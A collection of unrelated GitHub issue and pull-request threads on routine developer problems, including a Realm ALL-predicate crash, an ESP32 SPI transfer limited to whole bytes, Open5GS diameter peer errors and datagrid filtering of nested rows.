One workaround I've considered is to create multiple MosaicJSON files (at least one in the low zoom levels), for example one mosaic JSON at quadkey_zoom of 10 and another at a quadkey_zoom of 4 and route any zooms levels at 4 or lower to the quadkey_zoom of 4. Having multiple MosaicJSON files around feels a bit odd, but maybe I'm just incorrect to think that.

Yeah we've looked into this a while ago https://github.com/developmentseed/mosaicjson-spec/discussions/22 but to be honest the Static file model should be deprecated. We know use pgstac for most of our mosaic backend https://github.com/stac-utils/titiler-pgstac but if you still want to have a simple static backend you might be better served with a geoparquet backend (https://github.com/developmentseed/cogeo-mosaic/issues/224)

Thank you @vincentsarago for the super quick and really helpful response!


MDBX_SET_UPPERBOUND

add MDBX_SET_UPPERBOUND
see issue https://github.com/erthink/libmdbx/issues/250
When the value is mdbx_val_empty(), the test result should be correct (the screenshot of the running result of my rust code  is as below).

If there is a certain value, I am not sure whether the logic is correct, because I have not used this and I have not fully understood the code of MDBX_SET_LOWERBOUND, so please help me fix it.

Basically upper bound is the same as lower bound, but should skip equal items.
So you solution have too much extra code, and unclear for me.


[maven-central] Add the ability to filter by version prefix

On my github project page, I need to be able to display the latest version of each maintenance branch.
This is currently impossible, since maven badge display the latest version without any consideration to branches.
E.g https://img.shields.io/maven-central/v/org.apache.maven/apache-maven displays version v3.5.0
With this PR you can define the badge as:
https://img.shields.io/maven-central/v/org.apache.maven/apache-maven/3.3.svg to display the latest 3.3 version which is currently v3.3.9.
This is not a breaking change. The first url will keep working.

Hello there?

Up :p

Looks great! Thanks for the tests and sorry for the delay. Just re-running the Travis checks now, and will merge after that.

Could you add a second example to try.html? That way it will be clear that the version is optional.

Thanks!

Great !

When can we expect to see this working on img.shields.io ?

Usually within a few weeks. I don't have access to deploy, so it'll happen once Thaddée has a chance.


Crash when filtering with ALL operator on a relationship list

Goals
Filter a relationship array with the ALL operator to make sure all elements are IN a given array.
Expected Results
Get all results where predicate is true
Actual Results
libc++abi.dylib: terminating with uncaught exception of type NSException without any backtrace or message.
Steps to Reproduce
Use the simplified code sample.
Code Sample
final class Group: Object {
    @objc dynamic var id: Int = 0

    override static func indexedProperties() -> [String] {
        return ["id"]
    }
}

final class Category: Object {
    @objc dynamic var title: String = ""

    let groupsAllOf = List<Group>()
    let groupsOneOf = List<Group>()
}

let userGroups: [Int] = [1, 2]

// The Following is working nicely:
let oneOfFilter = NSCompoundPredicate(orPredicateWithSubpredicates: [
                NSPredicate(format: "groupsOneOf.@count = 0"),
                NSCompoundPredicate(andPredicateWithSubpredicates: [
                    NSPredicate(format: "groupsOneOf.@count != 0"),
                    NSPredicate(format: "ANY groupsOneOf.id IN %@", userGroups)
                    ])
                ])
let categoriesOneOf = realm.objects(Category.self).filter(oneOfFilter)

// The following crash:
let allOfFilter = NSCompoundPredicate(orPredicateWithSubpredicates: [
                NSPredicate(format: "groupsAllOf.@count = 0"),
                NSCompoundPredicate(andPredicateWithSubpredicates: [
                    NSPredicate(format: "groupsAllOf.@count != 0"),
                    NSPredicate(format: "ALL groupsAllOf.id IN %@", userGroups)
                    ])
                ])
let categoriesAllOf = realm.objects(Category.self).filter(allOfFilter)

Version of Realm and Tooling
ProductName:	Mac OS X
ProductVersion:	10.13.2
BuildVersion:	17C88

/Applications/Xcode.app/Contents/Developer
Xcode 9.2
Build version 9C40b

/usr/local/bin/pod
1.3.1
Realm (3.0.2)
RealmSwift (3.0.2)

/bin/bash
GNU bash, version 3.2.57(1)-release (x86_64-apple-darwin17)

/usr/local/bin/carthage
0.25.0
(not in use here)

/usr/bin/git
git version 2.14.3 (Apple Git-98)

Just saw in the Sheatsheet that "ALL" is not supported, and tried
NSPredicate(format: "NONE (NOT groupsAllOf.id IN %@)", userGroups)
instead of
NSPredicate(format: "ALL groupsAllOf.id IN %@", userGroups)
but same result…
Having no error message is strange…

When an NSException is raised and not caught, details about it, including the error message it contains, typically end up logged to the console. If for some reason you're not seeing this, you can set an Objective-C exception breakpoint to find the point at which it is raised and examine the error from there.

With the exception breakpoint set, execution is stopped exactly on the subpredicate itself NSPredicate(format: "ALL groupsAllOf.id IN %@", userGroups), but still no clue why…

When I copy-paste the code you shared into a fresh Xcode app and build and run it, this is what I see in Xcode's Console area:
2017-12-07 15:03:50.037154-0800 Simple[5648:212423] *** Terminating app due to uncaught exception 'Invalid predicate', reason: 'ALL modifier not supported'
*** First throw call stack:
(
	0   CoreFoundation                      0x000000010f59b12b __exceptionPreprocess + 171
	1   libobjc.A.dylib                     0x000000010ec37f41 objc_exception_throw + 48
	2   Realm                               0x000000010df7c4e7 _ZL15RLMPreconditionbP8NSStringS0_z + 332
	3   Realm                               0x000000010df7ca2c _ZN12_GLOBAL__N_112QueryBuilder15apply_predicateEP11NSPredicateP15RLMObjectSchema + 732
        …
	42  libdyld.dylib                       0x00000001125f3d81 start + 1
	43  ???                                 0x0000000000000001 0x0 + 1
)
libc++abi.dylib: terminating with uncaught exception of type NSException
(lldb)

As the first line of the output states, the ALL modifier is not yet supported.

Are you getting the same thing with the NONE version? Any idea on why I don’t get these errors displayed? Maybe because I’m importing Realm with Cocoapods?

Not very pretty, but I finally found a workaround…
NSPredicate(format: "SUBQUERY(groupsAllOf, $g, !($g.id IN %@)).@count == 0", userGroups)


ci: added timeout instead of sleep commands

Instead of random sleep time, added timeout
so we will wait till the pods get started
Closes: https://github.com/rook/kubectl-rook-ceph/issues/42
Signed-off-by: parth-gr<EMAIL_ADDRESS>

@subhamkrai by this
https://github.com/rook/kubectl-rook-ceph/blob/30cf64691b7104dbbe48e108629e5302ad92866c/.github/workflows/ci-for-diff-ns.yaml#L49
what we are exactly waiting for
So I can add this in timeout

added sleep to so that blocks pools are ready before listing them

Looks like the CI is stuck waiting

Looks like the CI is stuck waiting

There still random timeout for osd purge which stuck sometimes.

@BlaineEXE @travisn @subhamkrai ^^

In general, can we use kubectl wait commands if possible? It will make the script smaller and easier to read. Sorry for late suggestion sweat_smile

@subhamkrai We have been using script that Blaine provided to us instead of wait or timeout cmd, which will be more robust and informatic, as decided here https://github.com/rook/kubectl-rook-ceph/pull/48#discussion_r960734689

@parth-gr can you try restarting CI multiple times and see how quickly they or there are getting stuck? since I started CI it is trying to run the commands for 8 min.

TOtal it took around, 5- 6 mins,  4 mins for setup and 1.5mins for running

@parth-gr update on this?

@parth-gr update on this?

Will discuss today

@travisn I see the kubectl-rook-ceph.sh is not in the CI build,
So that means I need to have a separate function in the github-action-helper.sh file
Or otherwise, I need to include that file in the CI
runner@fv-az183-529:~/work/kubectl-rook-ceph/kubectl-rook-ceph$ ls
LICENSE  README.md  cluster-test.yaml  common.yaml  docs  kubectl-rook-ceph.sh  media  operator.yaml  storageclass-test.yaml  tests  toolbox.yaml
runner@fv-az183-529:~/work/kubectl-rook-ceph/kubectl-rook-ceph$

@travisn I see the kubectl-rook-ceph.sh is not in the CI build, So that means I need to have a separate function in the github-action-helper.sh file
Or otherwise, I need to include that file in the CI
runner@fv-az183-529:~/work/kubectl-rook-ceph/kubectl-rook-ceph$ ls
LICENSE  README.md  cluster-test.yaml  common.yaml  docs  kubectl-rook-ceph.sh  media  operator.yaml  storageclass-test.yaml  tests  toolbox.yaml
runner@fv-az183-529:~/work/kubectl-rook-ceph/kubectl-rook-ceph$

it will be present under tests folder

I only see
runner@fv-az183-529:~/work/kubectl-rook-ceph/kubectl-rook-ceph/tests$ ls
github-action-helper.sh

I was not able to call the function inside the kubectl-rook-ceph.sh as because of it's structure,
So moved the function to the github-action-helper so it can be called from the CI and the file


(node:24909) UnhandledPromiseRejectionWarning: TypeError: message.toRecalled is not a function

Is your feature request related to a problem? Please describe.
A clear and concise description of what the problem is. Ex. I'm always frustrated when [...]
Describe the solution you'd like
A clear and concise description of what you want to happen.
Describe alternatives you've considered
A clear and concise description of any alternative solutions or features you've considered.
Additional context
Add any other context or screenshots about the feature request here.
[enhancement]
error log
(node:24909) UnhandledPromiseRejectionWarning: TypeError: message.toRecalled is not a function
at recall (/Users/julive/WebstormProjects/juliveWechatBot/juliveBot/bot.js:190:47)
at Wechaty.bot.on.on.on.on (/Users/julive/WebstormProjects/juliveWechatBot/juliveBot/bot.js:46:9)
at Wechaty.on.args (/Users/julive/WebstormProjects/juliveWechatBot/juliveBot/node_modules/wechaty/dist/src/wechaty.js:383:26)
at Wechaty.emit (events.js:182:13)
at Wechaty.EventEmitter.emit (domain.js:442:20)
at Wechaty.emit (/Users/julive/WebstormProjects/juliveWechatBot/juliveBot/node_modules/wechaty/dist/src/wechaty.js:179:22)
at Wechaty. (/Users/julive/WebstormProjects/juliveWechatBot/juliveBot/node_modules/wechaty/dist/src/wechaty.js:477:30)
at Generator.next ()
at fulfilled (/Users/julive/WebstormProjects/juliveWechatBot/juliveBot/node_modules/wechaty/dist/src/wechaty.js:4:58)

This is not a feature request, and this feature is implemented. You need to upgrade your wechaty to the latest version, use npm install wechaty@next to get the latest version.


update go-zookeeper to rev 1d7be4e

Update the go-zookeeper library godep to pick up a fix for a spin in its lock implementation:
https://github.com/samuel/go-zookeeper/pull/145
This change affects docker/swarm when using ZooKeeper discovery only.
Signed-off-by: Daniel Ferstay<EMAIL_ADDRESS>

thanks @convergentio!
LGTM


Throw error when injectManifest is going to overwrite itself.

#724 mentioned that this meant that inject manifest would not work a second time, so it shouldn't be possible to do in the first place.

@jeffposnick this can be closed now right thanks


Fill Percentage, Filter Mode and Scale mode should be disabled when override is selected.

Added with a8c6aa30d646636f3a6d4790c9edd56e76df2bb1


When serializing some querise, struct.error: 'i' format requires -2147483648 <= number <=<PHONE_NUMBER>

Hi there, I'm using gremling_python to ingest some data into our Gremlin endpoint. In the data, some vertex IDs are big like<PHONE_NUMBER>, and for those vertices, I get the following error
  File "/home/jbkoh/.local/lib/python3.8/site-packages/gremlin_python/process/traversal.py", line 80, in iterate
    try: self.nextTraverser()
  File "/home/jbkoh/.local/lib/python3.8/site-packages/gremlin_python/process/traversal.py", line 88, in nextTraverser
    return self.next_traverser()
  File "/home/jbkoh/.local/lib/python3.8/site-packages/gremlin_python/process/traversal.py", line 92, in next_traverser
    self.traversal_strategies.apply_strategies(self)
  File "/home/jbkoh/.local/lib/python3.8/site-packages/gremlin_python/process/traversal.py", line 682, in apply_strategies
    traversal_strategy.apply(traversal)
  File "/home/jbkoh/.local/lib/python3.8/site-packages/gremlin_python/driver/remote_connection.py", line 78, in apply
    remote_traversal = self.remote_connection.submit(traversal.bytecode)
  File "/home/jbkoh/.local/lib/python3.8/site-packages/gremlin_python/driver/driver_remote_connection.py", line 102, in submit
    result_set = self._client.submit(bytecode, request_options=self._extract_request_options(bytecode))
  File "/home/jbkoh/.local/lib/python3.8/site-packages/gremlin_python/driver/client.py", line 149, in submit
    return self.submit_async(message, bindings=bindings, request_options=request_options).result()
  File "/usr/lib/python3.8/concurrent/futures/_base.py", line 444, in result
    return self.__get_result()
  File "/usr/lib/python3.8/concurrent/futures/_base.py", line 389, in __get_result
    raise self._exception
  File "/home/jbkoh/.local/lib/python3.8/site-packages/gremlin_python/driver/connection.py", line 66, in cb
    f.result()
  File "/usr/lib/python3.8/concurrent/futures/_base.py", line 437, in result
    return self.__get_result()
  File "/usr/lib/python3.8/concurrent/futures/_base.py", line 389, in __get_result
    raise self._exception
  File "/usr/lib/python3.8/concurrent/futures/thread.py", line 57, in run
    result = self.fn(*self.args, **self.kwargs)
  File "/home/jbkoh/.local/lib/python3.8/site-packages/gremlin_python/driver/protocol.py", line 86, in write
    message = self._message_serializer.serialize_message(request_id, request_message)
  File "/home/jbkoh/.local/lib/python3.8/site-packages/gremlin_python/driver/serializer.py", line 225, in serialize_message
    args = processor_obj.get_op_args(op, args)
  File "/home/jbkoh/.local/lib/python3.8/site-packages/gremlin_python/driver/serializer.py", line 48, in get_op_args
    return op_method(args)
  File "/home/jbkoh/.local/lib/python3.8/site-packages/gremlin_python/driver/serializer.py", line 88, in bytecode
    args['gremlin'] = self._writer.to_dict(gremlin)
  File "/home/jbkoh/.local/lib/python3.8/site-packages/gremlin_python/structure/io/graphbinaryV1.py", line 168, in to_dict
    return self.serializers[t].dictify(obj, self, to_extend)
  File "/home/jbkoh/.local/lib/python3.8/site-packages/gremlin_python/structure/io/graphbinaryV1.py", line 811, in dictify
    writer.to_dict(arg, to_extend)
  File "/home/jbkoh/.local/lib/python3.8/site-packages/gremlin_python/structure/io/graphbinaryV1.py", line 168, in to_dict
    return self.serializers[t].dictify(obj, self, to_extend)
  File "/home/jbkoh/.local/lib/python3.8/site-packages/gremlin_python/structure/io/graphbinaryV1.py", line 672, in dictify
    writer.to_dict(obj.id, to_extend)
  File "/home/jbkoh/.local/lib/python3.8/site-packages/gremlin_python/structure/io/graphbinaryV1.py", line 168, in to_dict
    return self.serializers[t].dictify(obj, self, to_extend)
  File "/home/jbkoh/.local/lib/python3.8/site-packages/gremlin_python/structure/io/graphbinaryV1.py", line 253, in dictify
    to_extend.extend(cls.byte_format_pack(obj))
struct.error: 'i' format requires -2147483648 <= number <=<PHONE_NUMBER>

During handling of the above exception, another exception occurred:

My running environment is Ubuntu 20.04, Python 3.8.10, gremlinpython version 3.6.1.
Let me know if there is any workaround for this. Thanks!

Sorry I was at a wrong repo. Closing this one.


S2A + S2B products downloaded via API are significantly larger than they should be

Files downloaded from the API are almost always 2,478,089kb or 2,335,209kb whereas corresponding files from the webportal are approx 600-800mb in size.
I cant see why this is as they should be the same file(s) - i assume it an issue with the API

@tyhayward thanks for this. The data, as in the raw pixel values contianed in the primary geotiff is identical between the two download methods. However, the difference you observe is that the current API can only access the data via an OGC Web Processing Service (WPS).
What happens is this:

all analysis ready data (ARD) products are stored in an Azure storage account in a Cloud Optimised GeoTIFF (COG) format.
When a user, via the portal UI, requests a download, a copy of the COG ARD (which is compressed and contains other optimisations) is provided by the download link. You receive the "smaller" file size.
However, when a user makes an API call using this WPS wrapper library or directly against the WPS end point, the WPS server, namely, geoserver cannot maintain the COG optimised format and copies the raw GeoTiff format (hence it is much bigger in terms of filesize). This is a limitation of WPS service currently.

To workaround this limitation, I've actually included some rasterio commands which add the optimisations back into the downloaded result, see eods-example3-query-eods-download-results-mosaic-s2s-with-rasterio.ipynb
You could adapt the cells (copied below):
# add overviews (pyramids) to the download this has to be "inplace" change
rio_overviews_cmd = ['rio', 'overview', '--build', '2,4,8,16', <input-raw-download-file>]

# convert the wps "raw" geotiff to optimised format geotiff
rio_convert_cmd = [
    'rio',
    'convert',
    <input-raw-download-file.>,
    <output-cog-format-geotiff>,
    '--co',
    'compress=LZW',
    '--co',
    'tiled=true',
    '--co',
    'blockxsize=256',
    '--co',
    'blockysize=256',
]
subprocess.run(rio_convert_cmd, capture_output=True)

We have a story in our backlog to deliver the COG (optimised) format geotiff directly to the user via the API. Please feel free to complete this feedback form to register that you would like this feature, feedback form here https://defragroup.eu.qualtrics.com/jfe/form/SV_cNHH8Hp5uXOCLiJ


Jump to declaration not working in particular document

Type of JetBrains IDE (IntelliJ, PyCharm, etc.) and version
IntelliJ IDEA 2019.1.1 Preview (Ultimate Edition)
Build #IU-191.6707.7, built on April 2, 2019
JRE: 1.8.0_202-release-1483-b44 amd64
JVM: OpenJDK 64-Bit Server VM by JetBrains s.r.o
Linux 4.15.0-47-generic
TeXiFy IDEA version
0.7-alpha.31
What I did (steps to reproduce)

Loaded document, containing a \newenvironment (which doesn't parse completely) as discussed in https://github.com/Ruben-Sten/TeXiFy-IDEA/issues/852#issuecomment-480624837
Attempted to Ctrl+B on a ref and citep

Expected behavior

Jump to label/citation definition

Actual behavior

Received "Cannot find declaration to go to" error

(if applicable) The full stacktrace of the exception thrown
Not applicable.

I'll try and get you an MRE.

\documentclass[11pt]{article}
% Packages
\usepackage{blindtext}
\usepackage{mdframed}

% Environments
\newenvironment{example}[1]
{
    \begin{mdframed}
}
{
    \end{mdframed}
}
% ----------
\begin{document}
    Please see \ref{label}
    \Blinddocument
    \label{label}

\end{document}

I think root cause here is #825 - the consequences are more than just the structure not being rendered correctly - I get the impression any in-depth parsing after this point fails, so it doesn't see the label declaration (and you just get syntax highlighting).

Ah that explains, yup as you have already found yourself this is caused by the parse error. One more reason to fix #825. If you don't mind I am closing as a duplicate because of that. And thanks for finding the workaround yourself :)


TagBot trigger issue

This issue is used to trigger TagBot; feel free to unsubscribe.
If you haven't already, you should update your TagBot.yml to include issue comment triggers.
Please see this post on Discourse for instructions and more details.
If you'd like for me to do this for you, comment TagBot fix on this issue.
I'll open a PR within a few hours, please be patient!

Triggering TagBot for merged registry pull request: https://github.com/JuliaRegistries/General/pull/27858

Triggering TagBot for merged registry pull request: https://github.com/JuliaRegistries/General/pull/27858

Triggering TagBot for merged registry pull request: https://github.com/JuliaRegistries/General/pull/28034

Triggering TagBot for merged registry pull request: https://github.com/JuliaRegistries/General/pull/28034

Triggering TagBot for merged registry pull request: https://github.com/JuliaRegistries/General/pull/28139

Triggering TagBot for merged registry pull request: https://github.com/JuliaRegistries/General/pull/28139


reboot

Reboot

@markyjackson-taulia any news about this PR? Thanks

I though these were merged, let me figure out where these are at.


Support for HTTP_PROXY from docker env

From my test, currently telegram bot can use HTTP_PROXY, etc variables. But openai API cannot.
I think this may related to the async workflow for telegram bot?
Anyway, my solution is to add the following lines right after import openai in bot/openai_utils.py:
proxies = {
    'http': os.environ["http_proxy"],
    'https': os.environ["https_proxy"],
}
openai.proxy = proxies

#112


Improvement: Language folder move

Move the Language folder to the root. Look at the topic => http://www.elkarte.net/community/index.php?topic=2870.0

Well, moved somewhere else, but okay. #3540


Fritada

Seems to be missing. How would we define it? Is it just a stew made with organ meat? Typically turtle or pig?

Someone told me that the word fritada is a redundancy of the English word "free" and the Japanese word "tada", which also means free of charge. It is made from parts that would otherwise be thrown away.
Jim Geselbracht

From: John Bent @.>
Sent: Saturday, October 12, 2024 12:28:39 PM
To: tekinged/missing @.>
Cc: Subscribed @.***>
Subject: [tekinged/missing] Fritada (Issue #533)
Seems to be missing. How would we define it? Is it just a stew made with organ meat? Typically turtle or pig?
—
Reply to this email directly, view it on GitHubhttps://github.com/tekinged/missing/issues/533, or unsubscribehttps://github.com/notifications/unsubscribe-auth/AX6MKZLY725ZINNAV3EUWYLZ3D2VPAVCNFSM6AAAAABP2JGPW6VHI2DSMVQWIX3LMV43ASLTON2WKOZSGU4DENZYGMYDGNI.
You are receiving this because you are subscribed to this thread.Message ID: @.***>

That's a cute etymology. But I suspect this site is more accurate which claims it comes from Spanish:
https://www.guampedia.com/fritada-pork-beef-or-venison-blood-stew/#:~:text=Description,with onions%2C vinegar and spices.

Blood stew.
On Sat, Oct 12, 2024 at 06:00 Lukes-Imeyuns @.***>
wrote:

Yes, John. I remember hearing somewhere that it came from that word. The
only difference is that with our fritada, it's more than just organs. But
yes, it is cooked in blood.
On Sat, Oct 12, 2024, 8:05 PM John Bent @.***> wrote:

That's a cute etymology. But I suspect this site is more accurate which
claims it comes from Spanish:

https://www.guampedia.com/fritada-pork-beef-or-venison-blood-stew/#:~:text=Description,with onions%2C vinegar and spices

.
—
Reply to this email directly, view it on GitHub
https://github.com/tekinged/missing/issues/533#issuecomment-2408523769,

or unsubscribe
<
https://github.com/notifications/unsubscribe-auth/AXYSPXXBHNVR3V2LJ4J7IJTZ3D7ALAVCNFSM6AAAAABP2JGPW6VHI2DSMVQWIX3LMV43OSLTON2WKQ3PNVWWK3TUHMZDIMBYGUZDGNZWHE>

.
You are receiving this because you are subscribed to this thread.Message
ID: @.***>

—
Reply to this email directly, view it on GitHub
https://github.com/tekinged/missing/issues/533#issuecomment-2408556669,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/AF2DJJCFFXBSB4R3M5542WLZ3EMQFAVCNFSM6AAAAABP2JGPW6VHI2DSMVQWIX3LMV43OSLTON2WKQ3PNVWWK3TUHMZDIMBYGU2TMNRWHE
.
You are receiving this because you are subscribed to this thread.Message
ID: @.***>

Added. Closing.
FYI<EMAIL_ADDRESS>


🐞 [BUG] - CSS of page in mobile view is not proper

Issue Verification

[X] I have verified that this is a new bug report.
[X] I'm interested in working on this issue
[X] I'm part of GSSOC organization

Describe the bug

css of web page is not proper i would like to fix it
Expected behavior
No response
Steps to reproduce
No response
Additional Context
No response

@jfmartinz please assign this issue to me

@jfmartinz please merge PR


[Account deletion] User can delete their account

[ ] Write user_can_delete_profile test
[ ] Add DELETE /users route in user controller
[ ] Add & implement deleteUser function in user controller
[ ] Run user_can_delete_profile test


IMS register fail for pcrf error log "AAASendMessage(): Can't find a suitable connected peer in the routing table"

Dear herlesupreeth,
I made a test ：Several volte mobile accessed into eNB, some of them made call and hung up periodically .
After some time,  ims registrations all failed.  I found pcscf error log below periodically when try to ims register   :
2024-05-28T13:32:30.952258+08:00 spid-YL-CLU6L-V1 pcscf[13401]: ERROR: {1 750211591 REGISTER<EMAIL_ADDRESS>cdp [routing.c:296]: get_routing_peer(): get_routing_peer(): No connected DefaultRoute peer found for app_id 16777236 and vendor id 10415.
2024-05-28T13:32:30.952346+08:00 spid-YL-CLU6L-V1 pcscf[13401]: ERROR: {1 750211591 REGISTER<EMAIL_ADDRESS>cdp [diameter_comm.c:144]: AAASendMessage(): AAASendMessage(): Can't find a suitable connected peer in the routing table.
And the RX reconnection appeared periodically ,which could be found in packet capture:
2024-05-28T13:32:49.595500+08:00 spid-YL-CLU6L-V1 pcscf[13372]: INFO: cdp [receiver.c:1006]: peer_connect(): peer_connect(): Trying to connect to <IP_ADDRESS> port 3868
2024-05-28T13:32:49.595621+08:00 spid-YL-CLU6L-V1 pcscf[13372]: INFO: cdp [receiver.c:1106]: peer_connect(): peer_connect(): Peer pcrf.epc.mnc009.mcc460.3gppnetwork.org:3868 connected
PCRF error log periodically :
[diam] ERROR: pid:PSM/pcscf.ims.mnc009.mcc460.3gppnetwork.org in fd_p_ce_handle_newCER@p_ce.c:1138: pcscf.ims.mnc009.mcc460.3gppnetwork.org: Rejecting new connection attempt while our state machine is in state 'STATE_SUSPECT'

After 100 trying of registration, no procedure continued for failing to send AAR to PCRF.
I restart only pcrf but no works.

ims-reg-fail.zip

05/28 11:17:49.893: [diam] ERROR: pid:PSM/pcscf.ims.mnc009.mcc460.3gppnetwork.org in fd_p_ce_handle_newCER@p_ce.c:1138: pcscf.ims.mnc009.mcc460.3gppnetwork.org: Rejecting new connection attempt while our state machine is in state 'STATE_OPEN'
((null):0)
05/28 11:18:13.500: [diam] ERROR: pid:PSM/pcscf.ims.mnc009.mcc460.3gppnetwork.org in fd_psm_change_state@p_psm.c:287: 'STATE_OPEN'	-> 'STATE_SUSPECT'	'pcscf.ims.mnc009.mcc460.3gppnetwork.org'
((null):0)

It looks like there are multiple P-CSCF with same Host IP, Origin Realm + Host trying to attempt to connect to PCRF
After which PCRF blocks connection attempts from P-CSCF

05/28 11:18:19.896: [diam] ERROR: pid:PSM/pcscf.ims.mnc009.mcc460.3gppnetwork.org in fd_p_ce_handle_newCER@p_ce.c:1138: pcscf.ims.mnc009.mcc460.3gppnetwork.org: Rejecting new connection attempt while our state machine is in state 'STATE_SUSPECT'
((null):0)

btw, if you not using docker_open5gs, i would suggest to open the issue in open5gs repo

Thanks.  When the error occurred,  i saw there was only one pcscf.  I will paste it in open5gs repo later.
Another question,   i found several core dumps of PCSCF and could find the error code line with gdb bt,  but not capturing the corresponding pcscf debug logs .  Should I paste them here , or to the kamailio repo ?

Another question, i found several core dumps of PCSCF and could find the error code line with gdb bt, but not capturing the corresponding pcscf debug logs . Should I paste them here , or to the kamailio repo ?

I would suggest to paste here and also in kamailio repo. If you paste them here I can check whether I can fix it or not and push the fix upstream

For the last one,  NULL pointer,  some codes calling AAACreateAVP() are lack of  protection. But i have no idea about how null pointer is formed.
Thanks.


PENV-447: change pk order because of GORM internal problem

- What I did
change pk order. it won't have behaviours in application logic.
It needs to make update insert
- How I did it
- How to verify it
- Description for the changelog

Codecov Report

Merging #84 into master will increase coverage by 0.10%.
The diff coverage is n/a.

@@            Coverage Diff             @@
##           master      #84      +/-   ##
==========================================
+ Coverage   74.93%   75.04%   +0.10%
==========================================
  Files          44       44
  Lines        2801     2801
==========================================
+ Hits         2099     2102       +3
+ Misses        560      558       -2
+ Partials      142      141       -1

Impacted Files
Coverage Δ

etl/models/models.go
92.00% <ø> (ø)

etl/controller/pulsemaintainer.go
82.60% <0.00%> (+4.34%)
:arrow_up:

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update f692017...5128c94. Read the comment docs.


Example of using PanelData.demean functionality outside of PanelOLS?

Hello, I'm looking to avoid coding my own de-meaning functionality for a project that I'm working on.  Specifically I need the ability to do de-meaning in sklearn-style fit and transform steps.  I wonder if you know of any open-source examples of your PanelData class -- and specifically PanelData.demean() -- being used in such a fashion.  I'd be quite grateful if you could share them if so.
Obviously you'd need some way to store the group-level means for the transform step, and deal with unseen levels of the entity somehow.

I'm not aware of any but I haven't looked. I wrote the PanelData class to abstract the input type, whether ndarray, DataFrame or DataArray. The demean method can only handle entity, time, or both.  If both, it uses an iterative procedure. This is not an especially fast method except when panels are balanced.  The default demeaning in fixed effect estimators no longer uses this path.  It is retained for testing since it is quite simple and robust, even if slow.

Nothing obvious shows up on GitHub: https://github.com/search?l=Python&q=PanelData&type=Repositories

Thanks anyway for looking (perhaps I should learn the search better), and for the quick reply!


Filtering and Search in Datagrid with nested rows is not working as expected

If we apply filter in datagrid, its not filtering from nested rows (but sorting and pagination works)
used useFiltering hook, (tested in chrome)
when we click clear filter also its not listing all data back from nested rows
search also not fetching data from nested rows

Hi @matthewgallo @elycheea
Any chance this is possible without having to upgrade to V8 of react-table?
That said it is a slightly weird way to filter a row that has success, but child that failed.

We are using data-grid in IBM product and we are facing a similar issue in search with data-grid with nested rows. If a row is shown in search result and search value gets cleared, then only the parent row gets restored but the nested rows are not restored.  It could be reproduced in the storybook itself(https://ibm-products.carbondesignsystem.com/?path=/story/ibm-products-components-datagrid-nestedrows--nested-rows-usage-story) as shown below,
https://github.com/carbon-design-system/ibm-products/assets/17987392/e20db41d-575e-4f2a-91f5-75bdba838d80.
I believe, it will get fixed once the issue posted by Original Poster gets fixed. So, could some one let me know about the ETA for providing a fix for this issue ?

Link to Stackblitz provided by @lee-chase
https://stackblitz.com/edit/github-6w6hhw-ieejed?file=package.json

Hi Team,
This issue is blocking our QA tasks, could you please share the ETA for this fix and expedite the fix please. Thanks.

Unfortunately this stems from the current version (v7.x.x) of react-table that we are using and this bug will not be fixed in that library unless we upgrade react-table which is not planned right now.
A workaround does exist however, by adding a getSubRows property to the useDatagrid hook. We'll update our storybook with the following workaround as well.
const NestedRows = () => {
  const columns = React.useMemo(() => defaultHeader, []);
  const [data] = useState([]); // data
  const datagridState = useDatagrid(
    {
      columns,
      data,
      DatagridActions,
      getSubRows: (row) => row.subRows, // adding this property makes the subRows visible again after search/global filter is removed
    },
    useNestedRows
  );

  return <Datagrid datagridState={datagridState} />;
};

@matthewgallo is there a workaround to make the search consider the nested rows content as welll ?

I'm attaching a video with most recent behavior which is not fully correct (We can't search for nested rows):
https://github.com/user-attachments/assets/91d40353-776e-4486-9171-cdf81ab2ac78

Hey @Xirax , could you please open a new issue for the missing behavior? Thank you!

If issue still exists, we can use the new issue for any missing behavior.


ISP read data only in byte multiples? (IDFGH-8461)

I'm collecting  10-bit AD data through the SPI bus on the ESP32 and I noticed that if I set length = rxlength = 10 bits, I only receive the 8 most significant bits into rx_data[0] while rx_data[1] is equal to 0x00.
If I set length = rxlength = 7 bits, then both rx_data[0] and rx_data[1] are equal to 0x00, no data is received into the registers.
Only when I set length = rxlength = 16 bits do I get all 10 bits of data. I verified all three conditions using an o-scope to check the data traffic.
Is this the way the SPI controller functions or am I missing a setting?

Small question, do you initialized SPI Host with DMA or without?
I had similar problem described in #8636 and also some other reports about SPI RX problem with DMA enabled.
And also there is provided pull request with addition SPI transaction flag (to disable DMA) in #9069 and if possible could you give a try to it ?

I read your issue report and yes they are very similar.  I initialize the SPI Host with the flag bit SPI_DMA_CH_AUTO set.  I will use the pull and see if that works with the SPI_TRANS_DONT_DMA transaction flag bit set. It'll be later this week before I can get to it as I have my head wrapped around some Verilog right now and I need to set up my test station to properly test it.
I really wanted to use DMA to access the AD chip I'm using but unfortunately I can find no way to deassert the CS line in between DMA sample reads, which is required for the AD to initiate the next sample. Using polling transmit I am only able to sustain about 2k samples per second from the AD.

Maksons,
Sorry for the delay. I was able to get back to this a couple days ago and unfortunately my Git-Fu is not very strong. I was using esp-idf v 4.4.2 and I didn't know how to checkout your PR and merge it with 4.4.2. I decided to move to 5.0 and attempt to merge the PR with that version but it took me a few days to make my code compliant with 5.0, the gpTimer changes were especially painful. Anyway, I finally got that done but before I did that I tried SPI transactions with the SPI_DMA_DISABLED flag set using v 4.4.2. Setting that the SPI Controller still would only transfer full bytes, not just the 10 bits I need from the AD.
I just tried the transfer with esp-idf 5.0 with and without SPI_DMA_DISABLED. When it is not set I am unable to transfer other than byte multiples, but when I do set SPI_DMA_DISABLED I am finally able to transfer the 10 (and only 10) bits of the AD sample. It looks like my problem is solved by 5.0 as long as SPI_DMA_DISABLED is set.
I would try PR 9069 but I am frankly exhausted from this problem and am glad it is done. I think the only case I could try would be to not set SPI_DMA_DISABLED and then set SPI_TRANS_DONT_DMA, but I think it would only accomplish the same thing and wouldn't say much about the validity of 9069.
Best of luck on your issues with the SPI Controller.

Forgot to add, thanks for alerting me about the issue with DMA and SPI, I would never have thought that was the problem. I spent hours reading all the Rxdata registers and my O-Scope for any clues as to how the data magically disappears between the O-Scope and my SW.


Add rtl files generation

Questions
Answers

Description?
Regenerate RTL files when upgrading PS version

Type?
new feature

BC breaks?
no

Deprecations?
no

Fixed ticket?
Relative to PrestaShop/PrestaShop#27307.

How to test?
